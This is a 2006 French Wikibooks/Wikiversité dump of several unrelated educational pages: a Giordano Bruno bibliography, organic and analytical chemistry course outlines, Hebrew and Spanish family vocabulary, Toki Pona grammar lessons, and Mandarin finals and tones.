[[Liens Internet]] [http://fr.wikibooks.org/wiki/Wikiversit%C3%A9:Facult%C3%A9_de_Chimie Acceuil Faculté de Chimie] Giordano bruno 8047 40133 2006-04-13T14:41:29Z 130.79.136.2 Les ''Oeuvres complètes de Giordano Bruno'' sont en cours d'édition et de traduction à Paris, aux Belles Lettres (édition critique bilingue): Vol. 1, ''Le chandelier'' ; introd. philologique de [[Giovanni Aquilecchia]] ; texte édité par Giovanni Aquilecchia ; préf. et notes de Giorgio Barberi Squarotti ; traduction par [[Yves Hersant]]. Paris : les Belles lettres, 1993 [2e éd. Revue et corigée, 2003]. ISBN 2-251-34443-8. Vol. 2, ''Le souper des cendres'' ; texte établi par Giovanni Aquilecchia ; notes de Giovanni Aquilecchia ; préface de Adi Ophir ; traduction par Yves Hersant. Paris : les Belles lettres, 1994. [2e éd. Revue et corigée, 2003]. ISBN 2-251-34445-4. Vol. 3, ''De la cause, du principe et de l'un'' ; texte établi par Giovanni Aquilecchia ; introduction par Michele Ciliberto ; trad. Par Luc Hersant. Paris : les Belles lettres, 1996. ISBN 2-251-33447-5. Vol. 4, ''De l'infini, de l'univers et des mondes'' ; texte établi par Giovanni Aquilecchia ; notes de Jean [[Seidengart]] ; introd. de [[Miguel Ángel Granada]] ; trad. de [[Jean-Pierre Cavaillé]]. Paris : les Belles lettres, 1995. ISBN 2-251-34446-2. Vol. 5, ''Expulsion de la bête triomphante'' ; texte établi par Giovanni Aquilecchia ; notes de [[Maria Pia Ellero]] ; introd. de [[Nuccio Ordine]] ; traduction de [[Jean Balsamo]]. Paris : les Belles Lettres, 1999. ISBN 2-251-34448-3. Vol. 6, ''Cabale du cheval pégaséen'' ; texte établi par Giovanni Aquilecchia ; préface et notes par [[Nicola Badaloni]] ; traduction de [[Tristan Dagron]]. Paris : les Belles Lettres, 1994. ISBN 2-251-34444-6. Vol. 7, ''Des fureurs héroïques'' ; introduction et notes de Miguel Angel Granada ; traduction de [[Paul-Henri Michel]] revue par Yves Hersant. Paris : les Belles Lettres, 1999. ISBN 2-251-34451-9. Vol. 8, ''Le procès'' ; texte et trad. par [[Alain-Philippe Segonds]]. Paris : les Belles Lettres, 2000. ISBN 2-251-34452-7. Vol. 9, ''Per una bibliografia di Giordano Bruno, 1800-1999'', par [[Maria Cristina Figorilli]] ; texte revu par Alain-Philippe Segonds. Paris, les Belles Lettres, 2003. (Oeuvres complètes de Giordano Bruno ; 9). ISBN 2-251-34470-5. Bases de chimie organique 8049 42223 2006-05-13T20:51:24Z 82.224.40.218 /* La Synthèse Organique */ {| width="70%" border="0" cellspacing="0" cellpadding="5" |- | bgcolor="#E0E0F0" align="center" colspan="2" | {| width="100%" bgcolor="#E0E0F0" |- | bgcolor="#E0E0F0" valign="middle" width="90%" align="center" | <font size="+1">Ecole de Chimie de la [[Wikiversité]]</font> |- |} |- | bgcolor="lightyellow" valign="top" colspan="2" | ===La Chimie Organique c'est quoi ?=== C'est l'étude de l'interaction entre elles, de molécules ayant au moins un atome de carbone. Par exemple l'alcool consommé a pour formule CH<sub>3</sub>CH<sub>2</sub>OH et le gaz butane CH<sub>3</sub>CH<sub>2</sub>CH<sub>2</sub>CH<sub>3</sub> ont des propriétés intrinsèques. Cette étude s'étend à toute la chimie du vivant communément appelée Biochimie. La chimie organique s'oppose pour des raisons pratiques à la chimie inorganique qui concerne tous les composés qui ne contienent pas de carbone. Par exemple le ion métallique Zinc (Zn2+)associé à deux groupes hydroxy (OH) pour former Zn(OH)<sub>2</sub> aura une réactivité spécifique. Mais on distingue une sous-branche de composés dont l'activité dépend essentiellemnt de métaux, dit de transitions, avec des ligands carbonés et/ou métalloïdes. C'est la chimie organo-métallique. Par exemple pour le réactif de Swartz Cp<sub>2</sub>ZrClH, le Zirconium a pour ligand deux molécules organiques Cp (cyclopentadiène, composé aromatique), un atome de chlore et un atome d'hydrogène. <gallery> Image:ligand Cp Swarzt reagent.gif </gallery> == Les grandes classes de composés organiques et leurs réactivités== * '''Les classes de composés organiques : suivre le le lien[http://fr.wikipedia.org/w/index.php?title=Chimie_organique&oldid=6475533] * '''Les grandes réactions''' ''': suivre le lien''' [http://fr.wikipedia.org/w/index.php?title=Chimie_organique&oldid=6475533] *'''Bibliographie''' Chimie Organique ''auteur :'' Allinger (3 vol. édition McGraw-Hill, 1992, voir édition plus récente, bonne entrée en matière. Disponible sur amazon ou eBay d'occasion. == Objectifs de la Chimie Organique == Il est inutile de rappeler que l'étude des composés organiques est fondamentale. Les êtres vivants sont faits de molécules organiques ou biomolécules (vitamines, acides aminés, protéines, ADN, ARN.etc.. La structutre de ces biomolécules est élucidée par spectroscopie et/ou crystallographie. Ces structures vont permettre aux chimistes de concevoir des médicaments. Les médicaments sont des molécules bio-actives dont l'activité a été extrapolée par des programmes informatiques de modélisation moléculaire et des exprériences ''in-vitro'' et ''in-vivo''. La synthèse de ces molécules bio-actives requière des recherches approfondies quant à la découverte de nouvelles réactions chimiques chemiosélectives. En effet les organismes vivants utilisent des systèmes moléculaires optiquement actif. == La Synthèse Organique == La synthèse organique est la science de la construction moléculaire. A partir de quelques briques moléculaire fondamentales ("building-blocks" en anglais) souvent peu coûteuses, les organiciens vont développer des méthodes de synthèse pour fabriquer des molécules à haute valeur ajoutée. Les méthodes de synthèse les plus connues portent le nom de leurs auteurs.[http://fr.wikipedia.org/w/index.php?title=Chimie_organique&oldid=6475533] * '''Bibliographie :''' ''Advanced Organic Chemistry'', Auteur : March.[http://www.amazon.fr/exec/obidos/ASIN/0471585890/qid=1145005083/sr=8-2/ref=sr_8_xs_ap_i2_xgl14/403-2276124-6042067] Les plus imporatantes réactions sont répertoriées et commentées. ''Classics in total synthesis'', Auteur : K. C. Nicolaou. Exemples de synthèse totale de biomolécules. == Liens intéressants == * [http://www.organic-chemistry.org/ Site gratuit de Chimie Organique] : programme de simulation des propriétés d'une molécule en ligne et gratuit. [http://fr.wikibooks.org/wiki/Chimie_Organique_I Accueil Chimie Organique I] Image:Ligand Cp Swarzt reagent.gif 8050 40173 2006-04-13T20:18:02Z Phil Lasry 1374 Phil Lasry Wikiuniversité Introduction Bases de Chimie Organique Phil Lasry Wikiuniversité Introduction Bases de Chimie Organique Image:Azétidin faculté de chimie.GIF 8051 40180 2006-04-13T21:25:54Z Phil Lasry 1374 Phil Lasry Molécule présentation Faculté de Chimie Phil Lasry Molécule présentation Faculté de Chimie Image:Azétidin faculté de chimie.gif 8052 40181 2006-04-13T21:30:03Z Phil Lasry 1374 Phil Lasry Image introduction Faculté Chimie Phil Lasry Image introduction Faculté Chimie Image:Enolase faculté chimie.jpg 8056 40219 2006-04-14T09:49:01Z Phil37 1378 Faculté de Chimie Phil Lasry Faculté de Chimie Phil Lasry Image:Enolase faculté chimie2.jpg 8057 40220 2006-04-14T09:54:32Z Phil37 1378 Phil Lasry Faculté de Chimie Phil Lasry Faculté de Chimie Chimie Organique Avancée 8058 40249 2006-04-14T12:52:24Z 213.41.42.77 * [[Bases de Chimie Organique]] * [[Rétro-synthèse]] * [[Chimie Organique avancée]] * [[Mécanismes des réactions]] * [[Applications de la Chimie Organique]] * [[Chimie Organique Expérimentale]] * [[Techniques d'analyses des molécules organiques]] * [[Exercice d'applications]] * [[Bibliographie]] * [[Liens Internet]] [http://fr.wikibooks.org/wiki/Wikiversit%C3%A9:Facult%C3%A9_de_Chimie Acceuil Faculté de Chimie] Recherches Bibliographiques 8059 40334 2006-04-15T09:24:24Z Phil Lasry 1374 /* L'effet quantique de l'eau */ '''Dans cette rubrique vous pouvez mettre un résumé des articles que vous avez trouvé pertinant, en rapport avec la chimie et/ou chimie-biologie. N'oubliez pas le titre de l'article et ses références : nom du journal, auteur, date.''' ==L'effet quantique de l'eau H2O== Chimie Organique avancée 8060 40260 2006-04-14T13:43:03Z 213.41.42.77 * [[Bases de Chimie Organique]] * [[Chimie Organique II]] * [[Rétro-synthèse]] * [[Mécanismes des réactions]] * [[Applications de la Chimie Organique]] * [[Chimie Organique Expérimentale]] * [[Techniques d'analyses des molécules organiques]] * [[Exercice d'applications]] * [[Bibliographie]] * [[Liens Internet]] [http://fr.wikibooks.org/wiki/Wikiversit%C3%A9:Facult%C3%A9_de_Chimie Acceuil Faculté de Chimie] Chimie organique I 8061 42093 2006-05-12T12:45:25Z 213.41.1.226 * [[Bases de chimie organique]] * [[Chimie organique I/Rétro-synthèse|Rétro-synthèse]] * [[Chimie organique avancée]] * [[Chimie organique I/Mécanismes des réactions|Mécanismes des réactions]] * [[Chimie organique I/Applications de la chimie organique|Applications de la chimie organique]] * [[Chimie organique expérimentale]] * [[Chimie organique I/Techniques d'analyses structurales des molécules organiques|Techniques d'analyses structurales des molécules organiques]] * [[Chimie organique I/Exercices d'applications|Exercices d'applications]] * [[Chimie organique I/Bibliographie|Bibliographie et webographie]] [[http://fr.wikibooks.org/wiki/Wikiversité:Faculté_de_Chimie Accueil de la faculté de chimie]] Chimie Analytique 8062 40342 2006-04-15T19:51:04Z Phil Lasry 1374 '''La Chimie analytique va permettre aux chimistes le suivi, l'isolement et la purification des produits de leurs réactions. Les techniques spectroscopiques permettent d'identifier la structure exacte des molécules synthétisées.''' * [[Techniques Chromatographiques]] * [[Techniques Spectroscopiques]] [http://fr.wikibooks.org/wiki/Wikiversit%C3%A9:Facult%C3%A9_de_Chimie Acceuil Faculté de Chimie] Chimie organique II 8063 40470 2006-04-17T21:22:37Z Greudin 1 [[Chimie Organique II]] déplacé vers [[Chimie organique II]] * [[Chimie Organo-métallique]] [http://fr.wikibooks.org/wiki/Chimie_Organique_I Acceuil Chimie Organique I] Catégorie:Espéranto 8064 40397 2006-04-16T18:56:06Z 62.194.241.152 interwiki [[Catégorie:Langue]] {{Sisterlinks|Category:Esperanto}} [[pl:Kategoria:Język esperanto]] [[pt:Categoria:Esperanto]] Image:Faculté de chimie acceuil.png 8066 40338 2006-04-15T18:51:05Z Phil Lasry 1374 Phil Lasry Acceuil faculté de chimie Phil Lasry Acceuil faculté de chimie Techniques Chromatographiques 8067 40367 2006-04-15T22:28:33Z 81.56.231.49 /* Introduction */ == Introduction == [http://fr.wikibooks.org/wiki/Wikiversit%C3%A9:Facult%C3%A9_de_Chimie Accueil Faculté de Chimie] Hébreu/Famille 8069 40376 2006-04-16T10:17:53Z Jonathaneo 457 création trad en ==Vocabulaire== <u>Noms</u> ; <font size=4>אֵם</font>: mère (f) (singulier) ; <font size=4>אִמָהו֗ת</font>: mères (f) (pluriel) ; <font size=4>אָב</font>: père (m) (singular) ; <font size=4>אָבו֗ת</font>: pères (m) (plural) (Note: The ending, ו֗ת, is usually feminine-plural, but not in this case. ; <font size=4>בַּת</font>: fille (f) (singulier) ; <font size=4>בָּנו֗ת</font>: filles (f) (pluriel) ; <font size=4>בֵּן</font>: fil (m) (singulier) ; <font size=4>בָּנִים</font>: fils (m) (pluriel) ; <font size=4>אַהֲבָה</font>: amour (f) <u>Verb</u> ; <font size=4>אהב</font>: amour (root) <u>Adjective</u> ; <font size=4>או֗הֵב</font>: aimer ==Séquences== ; <font size=4> הוּא אָב </font>: Il est père. ; <font size=4>שָׁלוֹם אֵם</font>: Bonjour, Mère. [[Catégorie:Hébreu]] [[en:Hebrew/Family]] Cours d'espagnol : La familia 8071 40403 2006-04-16T20:36:58Z 81.220.111.81 el padre le père la madre la mère los padres les parents la hermana la soeur el hermano le frère el hijo le fils la hija la fille la prima la cousine el primo le cousin el abuelo le grand-père la abuela la grand-mère el nieto le petit-fils la nieta la petite-fille el tio l'oncle la tia la tante Toki pona - Leçon 2: premières phrases 8074 40420 2006-04-17T11:06:20Z Tensai 654 {{Utilisateur:Tensai/modèles/Toki pona}} {{Utilisateur:Tensai/modèles/Leçons}} ==Vocabulaire== *'''jan''': une personne, quelqu'un *'''mi''': je, moi, nous *'''moku''': manger, nourriture *'''sina''': tu, toi, vous *'''suno''': soleil, lumière *'''telo''': eau, liquide *'''pona''': bon, simple, réparer *'''suli''': grand, important *'''li''': particule séparant le sujet du verbe ==Phrases avec ''mi'' ou ''sina'' comme sujet== Les phrases dont le sujet est ''mi'' ou ''sina'' sont les plus simples en toki pona. Il suffit de mettre le sujet, puis le verbe. *mi moku: je mange Par ailleurs en toki pona il n'y a pas de verbe "être". Pour dire "je suis ''quelquechose''", on donne le sujet puis directement l'adjectif ou le nom: *mi pona: Je suis bon. (je bon) *mi jan: Je suis une personne (je personne) *sina suli: tu es grand (toi grand) Dans la suite des leçons, tout ce qui concerne les verbes intransitifs se rapporte également au noms et adjectifs quand ils utilisés sous forme de verbe « être (quelque-chose) ». ==L'ambiguïté du toki pona== ===Sens multiples=== Comme il y a très peu de mots en toki pona, la plupart des mots ont plusieurs sens. Par exemple, suli peut signifier long, haut, large, gros... ou important. Ces ambiguïtés sont inévitables, mais dans la philosophie du toki pona ce n'est pas nécessairement une mauvaise chose : à cause du caractère vague du vocabulaire, en parlant toki pona on est obligé de s'intéresser à l'essentiel au lieu de se perdre dans les détails. ===Singulier et pluriel=== Le toki pona est ambigu d'une autre façon : il ne permet pas de dire si un mot est singulier ou au pluriel. Par exemple, jan peut dire soit « une personne » ou « les gens ». On verra en [[leçon 4]] une façon d'indiquer explicitement le pluriel, mais cette méthode est facultative : ce n'est pas parce qu'on n'indique pas le pluriel que le mot n'est pas pluriel. ===Nom / verbe / adjectif=== Une phrase en toki pona comporte généralement soit un verbe, soit un adjectif ou un nom (avec le verbe « être » sous-entendu). L'ambiguïté peut apparaître quand un même mot a plusieurs catégories grammaticales, par exemple quand le même mot s'emploie selon les cas comme verbe, nom ou adjectif. Ainsi, techniquement, les phrases suivantes ont plusieurs sens possibles : * mi moku. - Je mange ou je suis de la nourriture. * sina pona. - Tu es bon ou tu répares. Dans la pratique, le contexte doit donner le sens le plus probable. On entend rarement quelqu'un dire qu'il est de la nourriture, donc mi moku signifie sans doute « Je mange. » De même on répare rarement dans l'absolu (sans préciser quoi), donc sina pona signifie sans doute « tu es bon. » Pour les phrases comme sina pona, il y a d'autres moyens d'être plus précis, mais nous verrons cela dans la prochaine leçon. ===L'absence de conjugaison=== Il n'y a ni déclinaison ni conjugaison en toki pona. On ne distingue pas entre le présent, le passé, le futur, le conditionnel, etc. * mi moku. - Je mange / mangeais / mangerai / etc. (On verra en [[leçon 16]] comment indiquer que l'action se passe dans le passé, le présent, ou le futur.) Phrases dont le sujet est autre que mi ou sina Quand le sujet de la phrase n'est ni ''mi'' ni ''sina'', on intercale la particule ''li'' entre sujet et le verbe. * telo li pona. - L'eau est bonne. * suno li suli. - Le soleil est grand. * moku li pona. - La nourriture est bonne / manger est bon. La particule li est utilisée uniquement quand le sujet n'est pas mi ou sina. Dès que le sujet de la phrase devient plus compliqué qu'un simple mot l'intérêt de li devient évident, comme on le verra à la leçon suivante. ===Plusieurs verbes pour le même sujet=== Quand plusieurs verbes ont le même sujet, on peut tout regrouper dans la même phrase en ajoutant les verbes à la suite, chaque nouveau verbe étant précédé par li : * suno li suli li pona. - Le soleil est grand et est bon. * mi moku li suli. - Je mange et suis gros. Ici li est toujours omis avant moku parce que le sujet de la phrase est mi. En revanche li est présent devant le second verbe, suli. Sans ce li la phrase serait confuse. Toki pona - Leçon 3: Complément d'objet direct 8075 40769 2006-04-23T11:28:17Z Tensai 654 {{Utilisateur:Tensai/modèles/Leçons}} ==Vocabulaire== *ilo - outil, machine *kili - fruit, légume *ni - ceci, cela *ona - il, elle *ma - pays, région, terre *pipi - insecte, araignée *ijo - chose, machin *jo - avoir; possession *lukin - voir, regarder; vision, regard *pakala - abimer, détruire; accident *unpa - avoir un rapport sexuel avec; sexe; sexuel *wile - vouloir, avoir besoin de, devoir; désir *e - introduit le complément d'objet direct ==Complément d'objet direct avec e== La particule ''e'' introduit le complément d'objet direct. * mi moku e kili. - Je mange le fruit. * ona li lukin e pipi. - Il regarde l'insecte. * ona li pona e ilo. - Il répare la machine. Notez l'usage de pona comme verbe transitif dans cette dernière phrase. La plupart des mots existent comme verbe transitif et comme verbe intransitif, et la façon simple de distinguer entre les deux est la présence d'un complément d'objet direct commençant par ''e'' : * sina pona - Tu es bonne. * sina pona e ijo - Tu répares quelque chose. ==Plusieurs compléments d'objet direct== On peut utiliser plusieurs compléments d'objet direct pour le même verbe, chacun précédé de ''e''. * mi moku e kili e telo. - Je mange le fruit et l'eau * mi wile lukin e ma e suno - Je veux voir la terre et le soleil ==Le verbe wile== Le verbe ''wile'' est une sorte de verbe modal qui peut être suivi par un verbe à l'infinitif. ''wile'' signifie « vouloir » ou « devoir », donc il faut s'aider du contexte. * mi wile lukin e ma. - Je veux voir la région. * mi wile pakala e sina. - Je dois te détruire. Il faut noter que ''e'' introduit le complément d'objet direct du verbe à l'infinitif, et non l'infinitif lui même : * mi wile e pakala e sina. - Je veux la destruction et (je veux) toi. Image:Réaction 1.jpg 8076 40427 2006-04-17T12:44:47Z Phil Lasry 1374 Phil Lasry Faculté de Chimie Phil Lasry Faculté de Chimie Chimie organique I/Exercices d'applications 8077 42151 2006-05-12T18:09:32Z Phil Lasry 1374 Cette rubrique propose des problèmes de synthèses organiques. * Trouver les mécanismes des réactions suivantes : <div style="float:center">[[image:réaction_1.jpg]]</div> <div style="float:center">[[image:réaction_2.jpg]]</div> Image:Réaction 2.jpg 8078 40432 2006-04-17T13:06:39Z Phil Lasry 1374 Phil Lasry Faculté De Chimie Exercices d'applications Phil Lasry Faculté De Chimie Exercices d'applications Chinese/Pronunciation des Finales 8079 40447 2006-04-17T17:32:53Z Zj 125 /* Pronunciation of finals */ durée ==Pronunciation of finals== =Principe= - La '''Durée''' d'une voyelle simple ou combinée, souvent appelée "finale" joue un rôle capital dans la langue chinoise. Ce rôle est néanmoins fondamentalement différent de celui en anglais et celui en Français. Dans tous les deux cas, la durée d'une voyelle ne sert pas à la distinction d'un mot à l'autre, mais simplement à faire entendre clairement un son, ou l'évolution d'un son (l'''a'''te en anglais s'évolue de "E" à "i", c'est pas le cas en français), en français elle ne sert qu'à embellir la langue. Dans la langue chinoise, la durée d'une foyelle ne sert non plus à distinguer un son à un autre, comme en français, mais elle est indispensable pour distinguer un ton à un autre. Les quatre tons, à l'exeption du premier ton qui est plat, signifient toujours une évolution de la hauteur du son. Cette évolution ne peut pas s'exprimer sans une durée. {| class="wikitable" style="font-size: 95%" !'''Pinyin'''||'''[[w:International Phonetic Alphabet|IPA]]'''||'''Finale-formes'''||'''Explanation'''||'''Exemples''' |- ||''a''|| {{IPA|[ɑ]}} ||'''a'''|| comme P'''a'''p'''a''', J'''a'''cques||爸爸, baba, papa |- ||''o''|| {{IPA|[uɔ]}} ||'''o'''|| comme "o" dans "S'''o'''mmes")||我, Wo, moi |- ||''e''|| {{IPA|[ɤ]}}, {{IPA|[ə]}} Quand le ||'''e'''|| se trouve tout seul avec une consonne devant ou pas, il se prononce comme le son final du mot "le". Pourtant dans une combinaison de sorte "ie", "üe", when occurring at the end of a syllable and not in the combinations of ie, üe, ue, then a backward, unrounded vowel, which can be formed by first pronouncing a plain continental "o" ([[w:Australian English|AuE]] and [[w:New Zealand English|NZE]] l'''aw''') and then spreading the lips without changing the position of the tongue. That same sound is also similar to English "d'''uh'''", but not as open. Many unstressed syllables in Chinese use the [[w:schwa|schwa]] (ide'''a'''), and this is also written as ''e''.||快乐 |- ||''ê''|| {{IPA|[ɛ]}} ||(n/a)|| as in "b'''e'''t". Only used in certain interjections. |- ||''ai''|| {{IPA|[aɪ]}} ||'''ai'''|| like English "eye", but a bit lighter||爱情 |- ||''ei''|| {{IPA|[ei]}} ||'''ei'''|| as in "h'''ey'''"||累了 |- ||''ao''|| {{IPA|[ɑʊ]}} ||'''ao'''|| approximately as in "c'''ow'''"; the ''a'' is much more audible than the ''o'' ||大小 |- ||''ou''|| {{IPA|[ou̯]}} ||'''ou'''|| as in "s'''o'''" ||欧洲 |- ||''an''|| {{IPA|[an]}} ||'''an'''|| starts with plain continental "a" ([[w:Australian English|AuE]] and [[w:New Zealand English|NZE]] b'''u'''d) and ends with "n"||安全 |- ||''en''|| {{IPA|[ən]}} ||'''en'''|| as in "tak'''en'''"||很好 |- ||''ang''|| {{IPA|[ɑŋ]}} ||'''ang'''|| as in German ''Angst'', including the English loan word ''angst'' (starts with the vowel sound in f'''a'''ther and ends in the [[w:velar nasal| velar nasal]]; like s'''ong''' in American English)||波浪 |- ||''eng''|| {{IPA|[ɤŋ]}} ||'''eng'''||like ''e'' above but with ng added to it at the back||冷热 |- ||''er''|| {{IPA|[aɻ]]}} ||'''er'''|| like ''ar'' (exists only on own, or as last part of final in combination with others- see bottom of list) ||耳朵,花儿 |- ||''i''|| {{IPA|[i]}} ||'''yi'''|| like English "ee", except when preceded by "c", "ch", "r", "s", "sh", "z" or "zh"; in these cases it should be pronounced as a natural extension of those sounds in the same position, but slightly more open to allow for a clear-sounding vowel to pass through||笔记 |- || ''ia'' || {{IPA|[iɑ]}} ||'''ya'''|| as '''i''' + '''a'''; like English "'''ya'''rd" ||亚洲 |- || ''io'' || {{IPA|[iou̯]}} ||'''yo'''|| as '''i''' + '''o'''; like English slang "'''yo'''"; (you will only see this as in final-only form "'''yo'''" |- ||''ie''|| {{IPA|[iɛ]}} ||'''ye'''|| as '''i''' + '''ê'''; but is very short; ''e'' (pronounced like ''ê'') is pronounced longer and carries the main stress (similar to the initial sound '''ye''' in '''yet''')||树叶 |- || ''iai'' || {{IPA|[iɑ]}} ||'''yai'''|| as '''i''' + '''ai'''; like "'''yi'''" in "'''yikes'''"; (you will only see this as in final-only form "'''yai'''" |- ||''iao''|| {{IPA|[iɑʊ]}} ||'''yao'''|| as '''i''' + '''ao'''||要 |- ||''i(o)u''|| {{IPA|[iou̯]}} ||'''yuo'''|| as '''i''' + '''ou''' |- ||''ian''|| {{IPA|[iɛn]}} ||'''yian'''|| as '''i''' + '''an'''; like English '''yen'''||抽烟 |- ||''in''|| {{IPA|[̯iən]}} ||'''yin'''|| as '''i''' + '''en'''||森林 |- ||''iang''|| {{IPA|[iɑŋ]}} ||'''yang'''|| as '''i''' + '''ang'''||明亮 |- ||''ing''|| {{IPA|[iɤŋ]}} ||'''ying'''|| as '''i''' + '''eng'''||安静 |- ||''u''|| {{IPA|[u]}} ||'''wu'''|| like English "oo"||乌鸦 |- ||''ua''|| {{IPA |[ua]}} ||'''wa'''|| as '''u''' + '''a''' ||娃娃 |- ||''uo''|| {{IPA|[uɔ]}} ||'''wo'''|| as '''u''' + '''o'''; the ''o'' is pronounced shorter and lighter than in the ''o'' final||我 |- ||''uai''|| {{IPA|[uaɪ]}} ||'''wai'''|| as '''u''' + '''ai'''||奇怪 |- ||''ui''|| {{IPA|[ueɪ]}} ||'''wei'''|| as '''u''' + '''ei'''; here, the ''i'' is pronounced like ''ei''||威胁 |- ||''uan''|| {{IPA|[uan]}} ||'''wan'''|| as '''u''' + '''an'''||千万 |- ||''un''|| {{IPA|[uən]}} ||'''wen'''|| as '''u''' + '''en'''; like the ''on'' in the English ''won''||温暖 |- ||''uang''|| {{IPA|[uɑŋ]}} ||'''wang'''|| as '''u''' + '''ang'''; like the ''ang'' in English ''angst'' or ''anger''||忘记 |- ||''ong''|| {{IPA|[uɤŋ]}} ||'''weng'''|| as '''u''' + '''eng'''; starts with the vowel sound in b'''oo'''k and ends with the velar nasal sound in si'''ng'''||龙 |- ||''ü''|| {{IPA|[y]}} ||'''yu'''|| as in German "'''ü'''ben" or French "l'''u'''ne" (To get this sound, say "ee" with rounded lips)||雨 |- ||''üe''|| {{IPA|[yɛ]}} ||'''yue'''|| as '''ü''' + '''ê'''; the ''ü'' is short and light||月亮 |- ||''üan''|| {{IPA|[yan]}} ||'''yuan'''|| as '''ü''' + '''an'''; ||圆月 |- ||''ün''|| {{IPA|[yən]}} ||'''yun'''|| as '''ü''' + '''en'''; ||云雨 |- ||''iong''|| {{IPA|[yɤŋ]}} ||'''yong'''|| as '''ü''' + '''eng'''; ||永远 |} {| class="wikitable" style="font-size: 95%" |- ! colspan=3 | Finals that are a combination of finals above + '''er''' final |- !'''Pinyin'''||'''[[w:International Phonetic Alphabet|IPA]]'''||'''Explanation''' |- | er || {{IPA|[ɤɻ]}} || Comme "e" + "r" à l'américaine (work'''er'''); à ne pas confondre avec le "er" indépendant. Cette forme s'écrit "儿" en caractère et "r" attaché à la lettre précédente, mais se prononce à peine et se relie étroitement à la voyelle précédent. Il faut faire attention, sa prononciation se transforme selon le son devant. Cette forme est principalement utilisé en diminutif. Elle peut se superposer à "小", qui signifie petite. Le cas est similaire à l'expression "petit chaperon rouge": la forme "ron" (diminutif) "petit" se superpose à l'adjectif "petit". |- | or || {{IPA|[uɔɻ]}} || as '''o''' + '''er''' ||骡儿 |- | air || {{IPA|[aɪɻ]}} || as '''ai''' + '''er'''||一块儿 |- | aor || {{IPA|[ɑʊɻ]}} || as '''ao''' + '''er'''||好好儿,小鸟儿 |- | our || {{IPA|[ou̯ɻ]}} || as '''ou''' + '''er'''||小狗儿 |- | anr || {{IPA|[ɑnɻ]}} || as '''an''' + '''er'''||官儿 |- | angr || {{IPA|[ɑŋɻ]}} || as '''ang''' + '''er'''|| |- | ir || {{IPA|[iɻ]}} || as '''i''' + '''er'''||小鸡儿 |- | iar || {{IPA|[iɑɻ]}} || as '''ia''' + '''er'''||王小丫儿 |- | ianr ||{{IPA|[iɛnɻ]}} || as '''ian''' + '''er'''||小脸儿 |- | inr || {{IPA|[iənɻ]}} || as '''in''' + '''er'''||树林儿 |- | ingr || {{IPA|[iɤŋɻ]}} || as '''ing''' + '''er'''||玲儿 |- | ur || {{IPA|[uɻ]}} || as '''u''' + '''er'''||葫芦儿 |- | uor || {{IPA|[uɔɻ]}} || as '''uo''' + '''er'''||鸟窝儿 |- | uir || {{IPA|[ueɪɻ]}} || as '''ui''' + '''er'''||小米儿 |- | ongr || {{IPA|[uɤŋɻ]}} || as '''ong''' + '''er'''||宠儿/小虫儿 |- | ür || {{IPA|[yɻ]}} || as '''ü''' + '''er'''||小鱼儿 |} {{Chinese Intro TOC}} {{Chinese (Mandarin)TOC}} Chinois/Les tons 8080 40480 2006-04-17T21:33:30Z Greudin 1 [[Chinese/Les tons]] déplacé vers [[Chinois/Les tons]] {{Chinese Intro TOC}} {{Chinese (Mandarin)TOC}} == Utilisation des tons == [[Image:Pinyin_Tone_Chart.png|l|thumb|150px|Changement de niveau de chaque ton]] A la différence du français et de l'anglais, le chinois est une langue tonale, c'est-à-dire que le ton sert à la dinsctinction des mots! Ceci est souvent mépris par les appreneurs du chinois en seconde langue en comparant les tons à l'[[intonation]], alors qu'elles n'y resemble quand dans la manière de prononciation : un changement dans la hauteur. En français, l'intonation sert à exprimer un sentiment ou une forme de la phrase (impératif). Elle est donc liée à la phrase. One peut facilement comparer les 4 tons dans la langue chinoise à 4 lettres de plus, car ils servent tout autant à distinguer le sens d'un caractère que n'importe quelle autre son. Il est donc essentiels de mémoriser les la prononciation d'un caractère avec le ton. En effet, les tons sont une manière essentielle de multiplier les possibilités de combinaisons de sons afin de représenter sonorement les sèmes. Chaque caractère qui correspond à un sème ne se représente en son que par deux parties: une initiale et une finale, ou uniquement une finale. En plus les combinaisons théoriquements possibles ne sont pas toujours utilisées. En fait, il n'y a que quelques 400 combinaisons possibles dans la prononciation! Dans la langue courante, il y a à peu près 4000 caractères et avec 2000 caractères, on peut a peu près lire les journaux. Vous pouvez imaginer la galère qu'il faut pour s'exprimer avec un système phonétique qui ne représente que 400 possibilités? Grâce au 4 tons, et le ton zéro, on arrive à représenter 2000 caractères! C'est-à-dire à peut près tous les caractères de la vie courante. Pour information, avec Windows 2000 et ultérieures, il est possible d'utiliser la grande série de caractères qui compte 70 000 caractères chinois. Les 4 tons sont marqués avec un tirait, plat pour le 1er ton, vers le haut pour le 2eme ton, brisé pour le 3eme ton et vers le bas pour le quatrième. Le shcema montre en 5 niveaux les 4 tons suivant: # '''Premier ton ( ˉ )''', plat (niveau haut?) # '''Second ton (ˊ)''', montant. # '''Troisième ton ( ˇ )''', Ce ton déscend et remonte. # '''Quatrième ton (ˋ)''', Descendant. Il y a également un cinquième ton : le ton zéro. Avec ce ton dessus, le voyelle ne se prononce qu'à peine. Parfois elle peut passer inaperçue. Tones marks are always placed over vowels, never consonants. If there is more than one vowel in the syllable, the mark first goes over the a, e, i, o and u respectively (alphabetical order). The only exception to this rule is when a syllable with "iu" needs a tone mark, in which case the mark is placed over the "u", not the "i". The classic example used to show the difference tones make is: {| class="wikitable" || {{Ruby-big|妈|mā}} {{Ruby-big|麻|má}} {{Ruby-big|马|mǎ}} {{Ruby-big|骂|mà}} {{Ruby-big|吗|·ma}}<br><br> (Being "mother", "hemp", "horse", "insult" and a question particle, respectively.) || {{Listen|filename=zh-pinyin_tones_with_ma.ogg |title=mā má mǎ mà |description=A sound sample of the four tones}} |} ===Tone changes=== [[Image:Half-third_Pinyin_Tone_Chart.png|right|thumb|150px|The shape of the 3rd tone when before 1st, 2nd and 4th tones]] The third tone, with its dip-and-rebound, is hard to fit into a continuous sentence. This is why the third-tone ''changes'' depending on its environment. There are two rules: # If a third tone comes ''before another third tone'', then it is pronounced as a second tone. # If a third tone comes ''before any other tone'', then it only dips, and doesn't rebound and is called a half-third tone (see image). Because of these broad rules, ''the majority'' of third tones you encounter will be second tones or half-third tones. Be mindful of this because the tone marks remain unchanged despite differences in actual pronunciation from the written tone marks. ===Syllables with no tone=== Some syllables don't have a tone. Those syllables are not stressed, and they take their tone from the syllable before them: # If it follows a first- or second-tone syllable, then the toneless syllable is mid-range. (Say ''ah...'' in a relaxed tone, as if you've been sedated.) # If it follows a third-tone syllable, then the toneless syllable is high, as if the dip-and-rebound of the third-tone continues right into it. (Say ''w-e-ll'' with a break in the middle: ''weh&mdash;ell''. That's a third-tone syllable plus a toneless 